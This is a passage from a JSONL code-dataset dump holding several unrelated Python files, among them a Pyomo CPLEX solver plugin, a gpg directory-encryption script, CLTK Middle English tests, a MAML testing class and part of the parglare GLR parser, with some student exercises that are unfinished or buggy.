None\n results.solver.return_code = None\n results.solver.message = None\n results.solver.user_time = self._solve_user_time\n results.solver.system_time = None\n results.solver.wallclock_time = None\n results.solver.termination_message = None\n \n soln = Solution()\n soln_variable = soln.variable\n soln_constraint = soln.constraint\n\n soln.gap = None # until proven otherwise\n\n #Get solution status -- for now, if CPLEX returns anything we don't recognize, mark as an error\n soln_status = instance.solution.get_status()\n if soln_status in [1, 101, 102]:\n results.solver.termination_condition = TerminationCondition.optimal\n soln.status = SolutionStatus.optimal\n elif soln_status in [2, 4, 118, 119]:\n # Note: soln_status of 4 means infeasible or unbounded\n # and 119 means MIP infeasible or unbounded\n results.solver.termination_condition = TerminationCondition.unbounded\n soln.status = SolutionStatus.unbounded\n elif soln_status in [3, 103]:\n results.solver.termination_condition = TerminationCondition.infeasible\n soln.status = SolutionStatus.infeasible\n else:\n soln.status = SolutionStatus.error\n\n # TBD - need to expand the follow significantly, based on problem type and other factors.\n\n # the definition of relative gap in the case of CPLEX MIP is |best - bestinteger| / ((1e-10)+|bestinteger|).\n # for some reason, the CPLEX Python interface doesn't appear to support extraction of the absolute\n # gap, so we have to compute it.\n m = instance.solution.quality_metric\n if instance.get_problem_type() in [instance.problem_type.MILP,\n instance.problem_type.MIQP,\n instance.problem_type.MIQCP]:\n relative_gap = instance.solution.MIP.get_mip_relative_gap()\n best_integer = instance.solution.MIP.get_best_objective()\n diff = relative_gap * (1.0e-10 + math.fabs(best_integer))\n soln.gap = diff\n\n # Only try to get objective and variable values if a solution exists\n soln_type = instance.solution.get_solution_type()\n if soln_type > 0:\n\n soln.objective[instance.objective.get_name()].value = instance.solution.get_objective_value()\n\n num_variables = instance.variables.get_num()\n variable_names = self._cplex_variable_names\n variable_values = instance.solution.get_values()\n for i in xrange(num_variables):\n variable_name = variable_names[i]\n soln_variable[variable_name] = {\"Value\" : variable_values[i]}\n \n if extract_reduced_costs:\n # get variable reduced costs\n rc_values = instance.solution.get_reduced_costs()\n for i in xrange(num_variables):\n soln_variable[variable_names[i]][\"Rc\"] = rc_values[i]\n\n if extract_slacks or extract_duals:\n for i in xrange(num_linear_constraints):\n soln_constraint[constraint_names[i]] = {}\n\n num_linear_constraints = instance.linear_constraints.get_num()\n num_quadratic_constraints = instance.quadratic_constraints.get_num()\n\n constraint_names = instance.linear_constraints.get_names()\n q_constraint_names = instance.quadratic_constraints.get_names()\n \n if extract_duals:\n # get duals (linear constraints only)\n dual_values = instance.solution.get_dual_values()\n for i in xrange(num_linear_constraints):\n soln_constraint[constraint_names[i]][\"Dual\"] = dual_values[i]\n\n # CPLEX PYTHON API DOES NOT SUPPORT QUADRATIC DUAL COLLECTION\n\n if extract_slacks:\n # get linear slacks\n slack_values = instance.solution.get_linear_slacks() \n for i in xrange(num_linear_constraints):\n # if both U and L exist (i.e., a range constraint) then \n # R_ = U-L\n R_ = instance.linear_constraints.get_range_values(i)\n if R_ == 0.0:\n soln_constraint[constraint_names[i]][\"Slack\"] = slack_values[i]\n else:\n # This is a range constraint for which cplex always returns the\n # value of f(x)-L. In the spirit of conforming with the other writer,\n # I will return the max (in absolute value) of L-f(x) and U-f(x)\n Ls_ = slack_values[i]\n Us_ = R_ - slack_values[i]\n if Us_ > Ls_:\n soln_constraint[constraint_names[i]][\"Slack\"] = Us_\n else:\n soln_constraint[constraint_names[i]][\"Slack\"] = -Ls_\n \n # get quadratic slacks\n slack_values = instance.solution.get_quadratic_slacks() \n for i in xrange(num_quadratic_constraints):\n # if both U and L exist (i.e., a range constraint) then \n # R_ = U-L\n soln_constraint[q_constraint_names[i]] = {\"Slack\" : slack_values[i]}\n \n byObject = self._symbol_map.byObject\n referenced_varnames = set(byObject[varid] for varid in self._referenced_variable_ids)\n names_to_delete = set(soln_variable.keys())-referenced_varnames\n for varname in names_to_delete:\n del soln_variable[varname]\n\n results.solution.insert(soln)\n\n self.results = results\n\n # don't know if any of this is necessary!\n\n # take care of the annoying (and empty) CPLEX temporary files in\n # the current directory. this approach doesn't seem overly\n # efficient, but python os module functions don't accept regular\n # expression directly.\n filename_list = os.listdir(\".\")\n clone_re = re.compile('clone\\d+\\.log')\n for filename in filename_list:\n # CPLEX temporary files come in two flavors - cplex.log and\n # clone*.log. the latter is the case for multi-processor\n # environments.\n #\n # IMPT: trap the possible exception raised by the file not existing.\n # this can occur in pyro environments where > 1 workers are\n # running CPLEX, and were started from the same directory.\n # these logs don't matter anyway (we redirect everything),\n # and are largely an annoyance.\n try:\n if filename == 'cplex.log':\n os.remove(filename)\n elif clone_re.match(filename):\n os.remove(filename)\n except OSError:\n pass\n\n # let the base class deal with returning results.\n return OptSolver._postsolve(self)\n\n def _initialize_callbacks(self, model):\n #\n # Called from OptSolver\n #\n cplex_callback = {\n \"node-callback\": cplex.callbacks.NodeCallback,\n \"solve-callback\": cplex.callbacks.SolveCallback,\n \"branch-callback\": cplex.callbacks.BranchCallback,\n \"heuristic-callback\": cplex.callbacks.HeuristicCallback,\n \"incumbent-callback\": cplex.callbacks.IncumbentCallback,\n \"cut-callback\": cplex.callbacks.UserCutCallback,\n \"lazycut-callback\": cplex.callbacks.LazyConstraintCallback,\n \"crossover-callback\": cplex.callbacks.CrossoverCallback,\n \"barrier-callback\": cplex.callbacks.BarrierCallback,\n \"simplex-callback\": cplex.callbacks.SimplexCallback,\n \"presolve-callback\": cplex.callbacks.PresolveCallback,\n \"tuning-callback\": cplex.callbacks.TuningCallback\n }\n #\n for name in self._callback:\n try:\n cb_class = cplex_callback[name]\n except KeyError:\n raise ValueError(\"Unknown callback name: %s\" % name)\n #\n def call_fn(self, *args, **kwds):\n try:\n self.solver = CplexSolverWrapper(self)\n self._callback[self.name](self.solver, model)\n except Exception(e):\n # Should we raise this exception?\n print(\"ERROR: \"+str(e))\n CallbackClass = type('CallbackClass_'+name.replace('-','_'), (cb_class,object), {\"_callback\":self._callback, \"name\":name, \"__call__\":call_fn})\n self._active_cplex_instance.register_callback(CallbackClass)\n\n\nif cplex_import_available is False:\n SolverFactory().deactivate('_cplex_persistent')\n SolverFactory().deactivate('_mock_cplexpersistent')\n","sub_path":"pyomo/solvers/plugins/solvers/CPLEXPersistent.py","file_name":"CPLEXPersistent.py","file_ext":"py","file_size_in_byte":51968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"264031686","text":"# This file defines the Generic Algorithm iterator used in cross validation\nimport numpy as np\nfrom sklearn.model_selection import ParameterSampler\n\n\nclass GeneticAlgorithm:\n \"\"\" Genetic Algorithm iterator \"\"\"\n def __init__(self, hp_grid, n_max, init_pop_size=None, n_parents=2, select_rate=0.5, mixing_ratio=0.5, mutation_proba=0.1):\n \"\"\" In the __init__ are defined the fixed parameters \"\"\"\n self.n_max=n_max\n self.hp_grid=hp_grid\n self.init_pop_size=init_pop_size\n self.n_parents=n_parents\n self.mutation_proba=mutation_proba\n self.select_rate=select_rate\n \n\n def __iter__(self):\n \"\"\" The __iter__ method is defined here as a generator function \n Here are initialized the parameters that will change at each iteration\n \"\"\"\n n_iter = 0\n self.pop_scores=[]\n self.population=list(ParameterSampler(hp_grid, self.init_pop_size)) # First population is random, we turn it into list to fix it\n self.generation=0\n while True:\n for hp in self.population:\n if n<= self.n_max: \n yield hp \n else:\n break\n n += 1\n self.selection()\n self.crossover()\n self.mutate()\n self.generation += 1\n raise StopIteration\n \n def selection(self):\n \"\"\" This function executes the selection phase\n It will select a subset of the population as the survivors\n to be used in the mutation and crossover processes\n The seection is based on scoring\n Hyperparameter: The selection rate, which determines the exponential rate at which the population will decrease generation after generation\n \"\"\"\n list_to_sort=[(hp,score) for hp in zip(self.pop_scores,self.population)]\n self.population=np.sort(list_to_sort, axis=1)[:floor(len(self.population)*self.select_rate)][0]\n self.pop_scores=[]\n return self \n\n def crossover(self):\n \"\"\" This fuction executes the crossover phase\n It will create a new population my genetically mixing the past population\n Each new population member will inherit from a fixed number of parents\n The parents are randomly choosen\n This mixing allow the convergence to the optimum\n Hyperparameter: the mixing rate, which determines the proportion of changed features from one generation to another\n \"\"\"\n # need to code here\n return self \n\n def mutate(self):\n \"\"\" This function executes the mutation phase:\n It will randomly change a small subset of the population\n It allows the algorith to avoid local optimum\n Hyperparameters: the mutation probability of a population member, it should be very low, 10% max\n \"\"\"\n # need to code here\n return self \n\n \n\n def update_score(self, score):\n \"\"\" This method allows for an external frame to modify the iterator during the execution of the loop\n It is used to update the score of the tested valued to do the mutation process at the next step\n \"\"\"\n self.pop_scores.append(score)\n return self","sub_path":"main/main/genetic_algorithm.py","file_name":"genetic_algorithm.py","file_ext":"py","file_size_in_byte":3229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"33979784","text":"#! /usr/bin/env python3\n\nimport os\nimport logging\nimport index\nimport shutil\nimport subprocess\nimport copy\n\nfrom pathlib import Path\n\n\ndef encrypt_sync_dir(in_dir, out_dir):\n in_path = Path(in_dir).resolve()\n if not in_path.is_dir():\n return\n\n out_path = Path(out_dir)\n in_index = index.Index(in_dir)\n out_index = index.Index(out_dir)\n\n file_name_list = list(in_index.files)\n file_name_list.sort()\n for file_name in file_name_list:\n source_path = in_path / file_name\n if not source_path.is_file():\n continue\n\n source_name = str(source_path.absolute())\n\n source_file_info = in_index.files[file_name]\n\n if file_name not in out_index.files:\n out_index.files[file_name] = copy.deepcopy(source_file_info)\n\n target_file_info = out_index.files[file_name]\n\n if ('shash' not in target_file_info) or source_file_info[\"hash\"] != target_file_info[\"shash\"]:\n target_name = str((out_path / file_name).absolute())\n target_path = Path(target_name)\n parent_path = target_path.parent\n if not parent_path.exists():\n parent_path.mkdir(parents=True)\n\n subprocess.check_call(\n [\"gpg\", \"--batch\", \"--yes\", \"-o\", target_name, \"--default-recipient\", \"MyCloudPic\", \"-e\", source_name])\n shutil.copystat(source_name, target_name)\n\n target_file_info['shash'] = source_file_info['hash']\n target_file_info['hash'] = index.hash_hex(target_path)\n logging.info(\"(%s) is encrypted as (%s)\", source_name, target_name)\n\n for file_name in out_index.files:\n if file_name == '.files_index':\n continue\n if not file_name in in_index.files:\n target_name = str((out_path / file_name).resolve().absolute())\n os.remove(target_name)\n logging.info(\"(%s) has been removed\", target_name)\n\n\ndef decrypt_dir(in_dir, out_dir):\n in_path = Path(in_dir).resolve()\n if not in_path.is_dir():\n return\n\n shutil.rmtree(out_dir, ignore_errors=True)\n\n in_index = index.Index(in_dir)\n\n file_name_list = list(in_index.files)\n file_name_list.sort()\n for file_name in file_name_list:\n source_path = in_path / file_name\n if not source_path.is_file():\n continue\n\n source_name = str(source_path.absolute())\n target_name = str((out_path / file_name).absolute())\n target_path = Path(target_name)\n parent_path = target_path.parent\n if not parent_path.exists():\n parent_path.mkdir(parents=True)\n subprocess.check_call(\n [\"gpg\", \"--batch\", \"--yes\", \"-o\", target_name, \"--default-recipient\", \"MyCloudPic\", \"-d\", source_name])\n shutil.copystat(source_name, target_name)\n logging.info(\"(%s) is decrypted as (%s)\", source_name, target_name)\n\nif __name__ == \"__main__\":\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\"dir\", type=str,\n help=\"directory for process\")\n parser.add_argument(\"-o\", \"--outdir\", type=str, required=True,\n help=\"directory for output\")\n parser.add_argument(\"-d\", \"--decrypt\", action='store_true',\n help=\"decrypt\")\n args = parser.parse_args()\n\n out_path = Path(args.outdir)\n\n logging.basicConfig(\n # file_name='copy_files.log', filemode=\"w\",\n level=logging.INFO,\n format='%(asctime)s [%(levelname)s] %(message)s')\n logging.info(\"input path %s\", args.dir)\n logging.info(\"output path %s\", args.outdir)\n\n if not args.decrypt:\n encrypt_sync_dir(args.dir, args.outdir)\n else:\n decrypt_dir(args.dir, args.outdir)\n\n # cache.close()\n logging.info(\"done.\")\n","sub_path":"encrypt.py","file_name":"encrypt.py","file_ext":"py","file_size_in_byte":3786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"181841171","text":"\"\"\"Test for Middle English, based on Clément Besnier's test for Old Norse.\"\"\"\n\nimport os\nimport unittest\n\nfrom cltk.corpus.middle_english.alphabet import normalize_middle_english\nfrom cltk.phonology.middle_english.transcription import Word as word_me\nfrom cltk.stem.middle_english.stem import affix_stemmer as MiddleEnglishAffixStemmer\nfrom cltk.tokenize.word import WordTokenizer\n\n\n__author__ = [\"John Stewart \", ]\n\n\nclass TestMiddleEnglish(unittest.TestCase):\n def test_normalize_middle_english(self):\n \"\"\"Tests Middle English normalizer\"\"\"\n in_test = \"'Madame,' quod he, 'reule me As ȝ,e ly:k?eþ best.'\"\n target = \"'madame' quod he 'reule me as ye lyketh best'\"\n test = normalize_middle_english(in_test)\n self.assertEqual(target, test)\n\n def test_middle_english_syllabify(self):\n \"\"\"Test syllabification of Middle English\"\"\"\n\n words = ['marchall', 'content', 'thyne', 'greef', 'commaundyd']\n\n syllabified = [word_me(w).syllabify() for w in words]\n target_syllabified = [['mar', 'chall'], ['con', 'tent'], ['thyne'], ['greef'], ['com', 'mau', 'ndyd']]\n\n assert syllabified == target_syllabified\n\n syllabified_str = [word_me(w).syllabified_str() for w in words]\n target_syllabified_str = ['mar.chall', 'con.tent', 'thyne', 'greef', 'com.mau.ndyd']\n\n assert syllabified_str == target_syllabified_str\n\n def test_middle_english_stemmer(self):\n \"\"\"Test stemming of Middle English\"\"\"\n sentence = ['the', 'speke', 'the', 'henmest', 'kyng', 'in', 'the', 'hillis', 'he', 'beholdis','he', 'lokis', 'vnder',\n 'his', 'hondis', 'and', 'his', 'hed', 'heldis']\n stemmed = MiddleEnglishAffixStemmer(sentence)\n target = 'the spek the henm kyng in the hill he behold he lok vnd his hond and his hed held'\n self.assertEqual(stemmed, target)\n\n def test_middle_english_tokenizer(self):\n text = \" Fers am I ferd of oure fare;\\n Fle we ful fast þer-fore. \\n Can Y no cownsel bot care.\\n\\n\"\n target = ['Fers', 'am', 'I', 'ferd', 'of', 'oure', 'fare', ';', 'Fle', 'we', 'ful', 'fast', 'þer', '-', 'fore', '.',\n 'Can', 'Y', 'no', 'cownsel', 'bot', 'care', '.']\n tokenizer = WordTokenizer('middle_english')\n tokenized = tokenizer.tokenize(text)\n self.assertTrue(tokenized == target)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"cltk/tests/test_languages/test_middle_english.py","file_name":"test_middle_english.py","file_ext":"py","file_size_in_byte":2450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"482506395","text":"from flask.ext.script import Manager\nfrom flask.ext.migrate import Migrate, MigrateCommand\nfrom app import app, db\n\nmigrate = Migrate(app, db, compare_type=True)\nmanager = Manager(app)\n\nmanager.add_command('db', MigrateCommand)\n\n@manager.command\ndef create_db():\n \"\"\"Creates the db tables.\"\"\"\n db.create_all()\n\nif __name__ == '__main__':\n manager.run()\n","sub_path":"server/manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"652374474","text":"import random\n\n#Exercise 1 : Double Dice\ndef throw_dice():\n return random.randint(1,6)\n\n\ndef throw_until_doubles():\n count = 0\n while True:\n dice1 = throw_dice()\n dice2 = throw_dice()\n count += 1\n if dice1 == dice2:\n break\n return count\n\nprint(f'It took {throw_until_doubles()} tries to get doubles')\n\ndef results_avg(res_list):\n return sum(res_list)/len(res_list)\n\ndef main():\n results = []\n for num in range(0,100):\n results.append(throw_until_doubles())\n print(f'It took {sum(results)} tries to get 100 doubles')\n print(f'on average it took {results_avg(results)} throws to get a double')\n\nmain()\n\n","sub_path":"Week_4/Day4/Exercise_XP_GOLD/exercises2.py","file_name":"exercises2.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"443975246","text":"import random\nsayi = int(random.random()*1000)\nprint (sayi)\nsayac = 0\nfor i in range (2,int(sayi**0.5)+1,1):\n if sayi%i == 0:\n sayac = sayac + 1\nif sayac > 0:\n print (\"asal sayı değildir\")\nelse:\n print (\"asal sayıdır\")\n","sub_path":"Python/rastgele asal say� bulma.py","file_name":"rastgele asal say� bulma.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"56640371","text":"import maml_rl.envs\nimport gym\nimport numpy as np\nimport copy\n# import matplotlib.pyplot as plt\n\nfrom maml_rl.metalearner import MetaLearner\nfrom maml_rl.baseline import LinearFeatureBaseline\nfrom maml_rl.sampler import BatchSampler\n\nfrom torch.nn.utils.convert_parameters import (vector_to_parameters, parameters_to_vector)\nimport torch\n\nclass k_shot_tester(object):\n\tdef __init__(self, batch_num, policy, batch_size, num_tasks, k_shot_exp_name, args):\n\t\tself.batch_num = batch_num\n\t\tself.policy = policy\n\t\t#self.params = params\n\t\tself.batch_size = batch_size\n\t\tself.num_tasks = num_tasks\n\t\tself.k_shot_exp_name = k_shot_exp_name\n\t\tself.first_order = args.first_order\n\t\tself.gamma = args.gamma\n\t\tself.fast_lr = args.fast_lr\n\n\t\tself.sampler = BatchSampler(args.env_name, batch_size=self.batch_size, num_workers=args.num_workers)\n\n\t\tself.baseline = LinearFeatureBaseline(int(np.prod(self.sampler.envs.observation_space.shape)))\n\n\t\tself.metalearner = MetaLearner(self.sampler, self.policy, self.baseline, gamma=args.gamma, fast_lr=args.fast_lr, tau=args.tau, device=args.device)\n\n\t\tself.to(args.device)\n\n\tdef to(self, device, **kwargs):\n\t\tself.policy.to(device, **kwargs)\n\t\tself.baseline.to(device, **kwargs)\n\t\tself.device = device\n\t\treturn\n\n\tdef get_mean_discounted_return(self, rewards):\n\t\t# discount_matrix = torch.ones(rewards.shape)\n\t\t# for i in range(discount_matrix.shape[0]):\n\t\t# \tdiscount_matrix[i, :] = discount_matrix[i, :] * self.gamma**i\n\n\t\t# cum_returns = torch.sum(discount_matrix*rewards.cpu(), 0)\n\t\tcum_returns = torch.sum(rewards.cpu(), 0)\n\t\tmean_discounted_return = torch.mean(cum_returns).item()\n\t\t#average_discounted_return_std = torch.std(cum_returns).item()\n\n\t\treturn mean_discounted_return\n\n\tdef run_k_shot_exp(self):\n\t\ttasks = self.sampler.sample_tasks(num_tasks=self.num_tasks)\n\t\tmean_discounted_returns_all_tasks = []\n\t\tstarting_policy = copy.deepcopy(self.policy)\n\t\tprint ()\n\t\tprint ('K SHOT TESTING FOR: ' + self.k_shot_exp_name)\n\t\tfor num_task in range(self.num_tasks):\n\t\t\tprint ('Currently processing Task Number: {}'.format(num_task+1))\n\t\t\tself.policy = copy.deepcopy(starting_policy)\n\t\t\tself.sampler.reset_task(tasks[num_task])\n\t\t\tmean_discounted_returns_single_task = []\n\n\t\t\tfor batch in range(self.batch_num):\n\t\t\t\tif batch!=0:\n\t\t\t\t\tself.metalearner.fast_lr = self.fast_lr / 4.\n\t\t\t\t# print ('Currently processing Test Batch: {}'.format(batch+1))\n\t\t\t\ttrain_episodes = self.sampler.sample(self.policy, gamma=self.gamma, device=self.device)\n\t\t\t\tself.params = self.metalearner.adapt(train_episodes, first_order=self.first_order)\n\t\t\t\tself.policy.load_state_dict(self.params, strict=True)\n\t\t\t\t#calculate discounted rewards (returns) from start\n\t\t\t\tmean_discounted_returns_single_task.append(self.get_mean_discounted_return(train_episodes.rewards))\n\n\t\t\ttrain_episodes = self.sampler.sample(self.policy, gamma=self.gamma, device=self.device)\n\t\t\tmean_discounted_returns_single_task.append(self.get_mean_discounted_return(train_episodes.rewards))\n\n\t\t\tmean_discounted_returns_all_tasks.append(mean_discounted_returns_single_task)\n\n\t\treturn torch.Tensor(mean_discounted_returns_all_tasks).to(self.device)\n","sub_path":"maml_rl/testing/k_shot_testing.py","file_name":"k_shot_testing.py","file_ext":"py","file_size_in_byte":3126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"433422942","text":"from doubly_linked_list import DoublyLinkedList\n\n\nclass RingBuffer:\n def __init__(self, capacity):\n self.capacity = capacity\n self.current = None\n self.storage = DoublyLinkedList()\n\n def append(self, item):\n if self.storage.length == 0:\n self.storage.add_to_head(item)\n self.current = self.storage.head\n #nothing in DLL, add item to start\n elif self.storage.length < self.capacity:\n self.storage.add_to_tail(item)\n self.current = self.storage.tail\n #still have room in DLL, add item to list\n elif self.current is self.storage.tail:\n self.storage.remove_from_head()\n self.storage.add_to_head(item)\n self.current = self.storage.head\n # if current is the last item in list\n # remove item from start\n # add this new item to the start\n # now current is the head of the DLL\n else:\n self.current.insert_after(item)\n self.storage.length += 1\n self.current = self.current.next\n self.storage.delete(self.current.next)\n # insert item after current\n # increase length of DLL by 1\n # set current to next\n # deletes the next item to allow new items\n # in DLL as long as not over capacity.\n\n def get(self):\n # Note: This is the only [] allowed\n list_buffer_contents = []\n #empty list\n current = self.storage.head\n #start of DLL set to variable name current\n while current is not None:\n # as long as current has a value:\n list_buffer_contents.append(current.value)\n #add value of current to end of empty list created\n current = current.next\n #and repeat with each num\n return list_buffer_contents\n\nrb = RingBuffer(4)\nrb.append(4)\nrb.append(5)\nrb.append(8)\nrb.append(8)\nprint(rb.get())\n\nrb.append(10)\nrb.append(11)\nrb.append(12)\nrb.append(13)\nprint(rb.get())\n\n# ----------------Stretch Goal-------------------\n'''\nBoth Linked List and Arrays used to store linear \ndata\n\npros:\n 1) faster access to the elements\n 2) easier to use\n\ncons:\n 1) Arrays have a fixed size while linked list are dynamic\n 2) memory utilization is inefficient in arrays\n'''\n\nclass ArrayRingBuffer:\n def __init__(self, capacity):\n self.capacity = capacity\n self.current = 0\n self.storage = [None] * capacity\n\n def append(self, item):\n pass\n\n def get(self):\n pass","sub_path":"ring_buffer/ring_buffer.py","file_name":"ring_buffer.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"286461297","text":"# -*- coding: utf-8 -*-\nimport codecs\nfrom itertools import takewhile\nfrom parglare import Parser\nfrom parglare import termui as t\nfrom .parser import SHIFT, REDUCE, ACCEPT, pos_to_line_col, Token\nfrom .common import replace_newlines as _, position_context\nfrom .export import dot_escape\nfrom .termui import prints, h_print, a_print\n\n\ndef no_colors(f):\n \"\"\"\n Decorator for trace methods to prevent ANSI COLOR codes appearing in\n the trace dot output.\n \"\"\"\n def nc_f(*args, **kwargs):\n self = args[0]\n t.colors = False\n r = f(*args, **kwargs)\n t.colors = self.debug_colors\n return r\n return nc_f\n\n\nclass GLRParser(Parser):\n \"\"\"\n A Tomita-style GLR parser.\n \"\"\"\n def __init__(self, *args, **kwargs):\n\n table = kwargs.get('table', None)\n lexical_disambiguation = kwargs.get('lexical_disambiguation', None)\n if table is None:\n # The default for GLR is not to use any strategy preferring shifts\n # over reduce thus investigating all possibilities.\n # These settings are only applicable if parse table is not computed\n # yet. If it is, then leave None values to avoid\n # \"parameter overriden\" warnings.\n prefer_shifts = kwargs.get('prefer_shifts', None)\n prefer_shifts_over_empty = kwargs.get('prefer_shifts_over_empty',\n None)\n\n prefer_shifts = False \\\n if prefer_shifts is None else prefer_shifts\n prefer_shifts_over_empty = False \\\n if prefer_shifts_over_empty is None \\\n else prefer_shifts_over_empty\n if lexical_disambiguation is None:\n lexical_disambiguation = False\n\n kwargs['prefer_shifts'] = prefer_shifts\n kwargs['prefer_shifts_over_empty'] = prefer_shifts_over_empty\n\n kwargs['lexical_disambiguation'] = lexical_disambiguation\n\n super(GLRParser, self).__init__(*args, **kwargs)\n\n def _check_parser(self):\n \"\"\"\n Conflicts in table are allowed with GLR.\n \"\"\"\n pass\n\n def parse(self, input_str, position=0, file_name=None, extra=None):\n \"\"\"\n Parses the given input string.\n Args:\n input_str(str): A string to parse.\n position(int): Position to start from.\n file_name(str): File name if applicable. Used in error reporting.\n extra: An object that keeps custom parsing state. If not given\n initialized to dict.\n \"\"\"\n\n if self.debug:\n a_print(\"*** PARSING STARTED\\n\")\n self.debug_step = 0\n if self.debug_trace:\n self.dot_trace = \"\"\n\n self.input_str = input_str\n self.file_name = file_name\n self.extra = {} if extra is None else extra\n\n # Error reporting and recovery\n self.errors = []\n self.in_error_reporting = False\n self.expected = set()\n self.tokens_ahead = []\n self.last_shifted_heads = []\n\n # A stack of heads being reduced. Contains tuples (head, list of\n # pending reductions). Used to perform reductions in a depth-first\n # manner.\n self.reducing_stack = []\n # For optimization, keep only state ids for quick check before\n # searching.\n self.reducing_stack_states = []\n\n # Heads that are fully reduced and thus are candidates for the next\n # shifting or accepting. Fully reduced heads (heads without any pending\n # reduction) from reducing_stack are merged to these heads.\n self.reduced_heads = {}\n\n # Heads created during shift operations.\n self.shifted_heads = []\n\n # Accepted (finished) heads\n self.accepted_heads = []\n\n # We start with a single parser head in state 0.\n start_head = GSSNode(self, self.table.states[0], 0, position,\n number_of_trees=1)\n self._init_dynamic_disambiguation(start_head)\n self.shifted_heads.append(start_head)\n\n if self.debug and self.debug_trace:\n self._trace_head(start_head)\n\n # The main loop\n while True:\n if not self.in_error_reporting:\n self.last_shifted_heads = list(self.shifted_heads)\n self._do_reductions()\n if self.in_error_reporting:\n # Expected symbols are only those that can cause reduced head\n # to shift.\n self.expected = set([\n h.token_ahead.symbol for h in self.reduced_heads\n if h.token_ahead.symbol in h.state.actions\n and SHIFT in [action.action\n for action\n in h.state.actions[h.token_ahead.symbol]]])\n if self.debug:\n a_print(\"*** LEAVING ERROR REPORTING MODE.\",\n new_line=True)\n h_print(\"Tokens expected:\",\n ', '.join([t.name for t in self.expected]),\n level=1)\n h_print(\"Tokens found:\", self.tokens_ahead, level=1)\n\n self.reduced_heads = {}\n self.in_error_reporting = False\n\n # After leaving error reporting mode, register error and try\n # recovery if enabled\n context = self.last_shifted_heads[0]\n self.errors.append(\n self._create_error(\n context, self.expected,\n tokens_ahead=self.tokens_ahead,\n symbols_before=list(\n {h.state.symbol\n for h in self.last_shifted_heads}),\n last_heads=self.last_shifted_heads))\n if self.error_recovery:\n if self.debug:\n a_print(\"*** STARTING ERROR RECOVERY.\",\n new_line=True)\n if self._do_recovery():\n # Error recovery succeeded\n if self.debug:\n a_print(\n \"*** ERROR RECOVERY SUCCEEDED. CONTINUING.\",\n new_line=True)\n continue\n else:\n break\n else:\n break\n else:\n self._do_shifts_accepts()\n if not self.shifted_heads and not self.accepted_heads:\n if self.debug:\n a_print(\"*** ENTERING ERROR REPORTING MODE.\",\n new_line=True)\n self._enter_error_reporting()\n continue\n\n if not self.shifted_heads:\n break\n\n if self.debug and self.debug_trace:\n self._export_dot_trace()\n\n if self.accepted_heads:\n # Return results\n results = [x.results for head in self.accepted_heads\n for x in head.parents]\n if self.debug:\n a_print(\"*** {} sucessful parse(s).\".format(len(results)))\n\n self._remove_transient_state()\n return results\n else:\n # Report error\n self._remove_transient_state()\n raise self.errors[-1]\n\n def _do_reductions(self):\n \"\"\"\n Perform all possible reductions for this shift level.\n \"\"\"\n debug = self.debug\n\n if debug:\n a_print(\"** REDUCING\", new_line=True)\n self._debug_active_heads(self.shifted_heads)\n\n if not self.in_error_reporting:\n # First we shall find lookaheads for all shifted heads and split\n # heads on lexical ambiguity.\n shifted_heads = []\n while self.shifted_heads:\n head = self.shifted_heads.pop()\n if head.token_ahead is not None:\n # This might happen if this head is produced by error\n # recovery\n shifted_heads.append(head)\n continue\n\n if debug:\n h_print(\"Finding lookaheads\", new_line=True)\n self._skipws(head, self.input_str)\n\n tokens = self._next_tokens(head)\n\n if debug:\n self._debug_context(\n head.position,\n head.layout_content_ahead,\n lookahead_tokens=tokens,\n expected_symbols=head.state.actions.keys())\n\n if tokens:\n while tokens:\n # For lexical ambiguity create a new head for each new\n # token recognized ahead.\n shifted_heads.append(head.for_token(tokens.pop()))\n else:\n # Can't find lookahead. This head can't progress\n if debug:\n h_print('No lookaheads found. Killing head.')\n\n else:\n shifted_heads = self.shifted_heads\n\n while shifted_heads:\n head = shifted_heads.pop()\n self._prepare_reductions(head)\n while self.reducing_stack:\n while self.reducing_stack[-1][1]:\n reduction = self.reducing_stack[-1][1].pop()\n new_head = self._reduce(head, reduction)\n if new_head is not None:\n head = new_head\n self._prepare_reductions(head)\n\n # No more reduction for top of the stack head.\n # Pop of the stack and merge to reduced heads.\n head = self.reducing_stack.pop()[0]\n self.reducing_stack_states.pop()\n if self.debug:\n h_print('No more reductions for head:', str(head),\n level=1, new_line=True)\n reduced_head = self.reduced_heads.get(head, None)\n if reduced_head is None:\n if self.debug:\n h_print('Adding head to reduced heads.', level=1)\n self.reduced_heads[head] = head\n else:\n reduced_head.merge_head(head, self)\n\n def _do_shifts_accepts(self):\n \"\"\"\n Do shifts and accepts of the reduced heads\n \"\"\"\n\n debug = self.debug\n if debug:\n a_print(\"** SHIFTING\", new_line=True)\n self._debug_active_heads(self.reduced_heads.values())\n\n while self.reduced_heads:\n head, __ = self.reduced_heads.popitem()\n actions = head.state.actions.get(head.token_ahead.symbol)\n action = actions[0] if actions else None\n\n if action is None or action.action == REDUCE:\n if debug:\n a_print(\"Can't shift head: \", str(head), new_line=True)\n else:\n if action.action == ACCEPT:\n if debug:\n a_print('**ACCEPTING HEAD: ', str(head))\n self.accepted_heads.append(head)\n\n else:\n self._shift(head, action.state)\n\n def _prepare_reductions(self, head):\n \"\"\"\n Finds all possible reduction for the given head and make a new stack\n entry with pending reductions.\n \"\"\"\n debug = self.debug\n\n if debug:\n a_print(\"Preparing reductions for head: \", str(head),\n new_line=True)\n\n productions = []\n symbol_actions = head.state.actions.get(head.token_ahead.symbol, [])\n for symbol_action in symbol_actions:\n action = symbol_action.action\n if action is REDUCE:\n 